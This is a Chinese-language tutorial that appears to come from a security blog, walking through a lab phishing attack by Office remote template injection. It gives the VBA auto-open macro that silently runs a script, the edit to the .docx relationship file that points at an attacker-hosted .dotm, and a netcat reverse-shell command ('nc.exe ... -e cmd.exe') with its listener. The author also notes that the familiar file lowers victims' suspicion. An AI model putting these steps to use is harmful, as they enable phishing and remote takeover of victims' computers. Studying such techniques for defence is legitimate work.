Office钓鱼攻击之远程dotm模板注入宏

通过Windows的office,可以实施许多钓鱼攻击,这里对其中的远程dotm模板注入宏进行一个模拟钓鱼攻击,直接反弹shell。

环境

本文使用的环境和工具如下(可选择其他版本的系统和office):

  • Netcat for Windows,即nc.exe

攻击机1(用于制造钓鱼文件):

  • Windows 10
  • Microsoft Office Word 2016
  • phpstudy

攻击机2:

  • kali

靶机:

  • Windows 10
  • Microsoft Office Word 2016(不一定需要和攻击机一致)

相关知识

  • 钓鱼攻击:钓鱼式攻击是指企图从电子通讯中,通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。
  • Word宏:在 Word 中,可以通过创建和运行宏来自动执行常用任务。 宏是一系列命令和指令,可以将它们组合为单个程序以自动完成任务。

钓鱼文件准备

dotm模板

新建dotm文件,打开,键盘同时按下Alt+F11,出现如图所示VB代码编辑界面:

VB编辑界面

image.png

双击ThisDocument,输入以下代码:

Private Sub Document_Open()
  MsgBox "game over", vbOKOnly, "game over"
  a = Shell("C:\shell.cmd", vbHide)
End Sub

Ctrl+S保存,同时按下Alt+F11退出编辑界面

然后打开phpstudy,将该文件传输至攻击机1上的phpstudy目录下的www文件夹内,并开启服务,使得可以通过形如http://ip地址:端口/XXX.dotm的方式直接下载。

docx钓鱼文件

打开Word,点击新建,随意选择一个模板,点击创建:


新建带模板的Word文件

然后保存为docx文件即可。

重命名该文件后缀为zip

重命名

解压该文件,编辑其中的word->_rels->settings.xml.rels文件:

关键文件

编辑其中的target字段,前后对比(右边打码的地方为ip地址):
编辑内容

然后重新压缩为zip文件之后重命名后缀为docx。
最后发给靶机,任意目录均可

下载Netcat for Windows,解压,移动到靶机上,记住其存放地址

新建一个TXT文件,写入内容:

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

其中,C:\tools\nc.exe为刚刚记住的nc的存放路径,10.0.0.5为反弹shell的攻击机ip

重命名该文件为shell.cmd,然后移动到靶机的C盘根目录下

攻击实施

打开攻击机2,也就是kali,输入命令回车:

nc -lvnp 443

可以看到,监听已经建立:


监听建立

当受害者在靶机打开文件,并且点击了启用内容:


打开钓鱼文件

会出现咱们书写的弹窗:


恶意弹窗

点击确定,弹窗消失,受害者没有其他任何显示发现

但可以看到,攻击机已经建立了shell连接,可以执行任意命令,反弹shell成功:


反弹shell成功

本篇文章是在上一篇文章基础上进行了改进,用户看到的是熟悉的docx文件,警惕心进一步降低,更容易钓鱼成功。但其也有缺点,相较于上一篇文章,本文中需要靶机和攻击机1互通,在内网环境可能会有所掣肘。

参考链接

  • T1137: Phishing - Office Macros
  • Create or run a macro

你可能感兴趣的:(Office钓鱼攻击之远程dotm模板注入宏)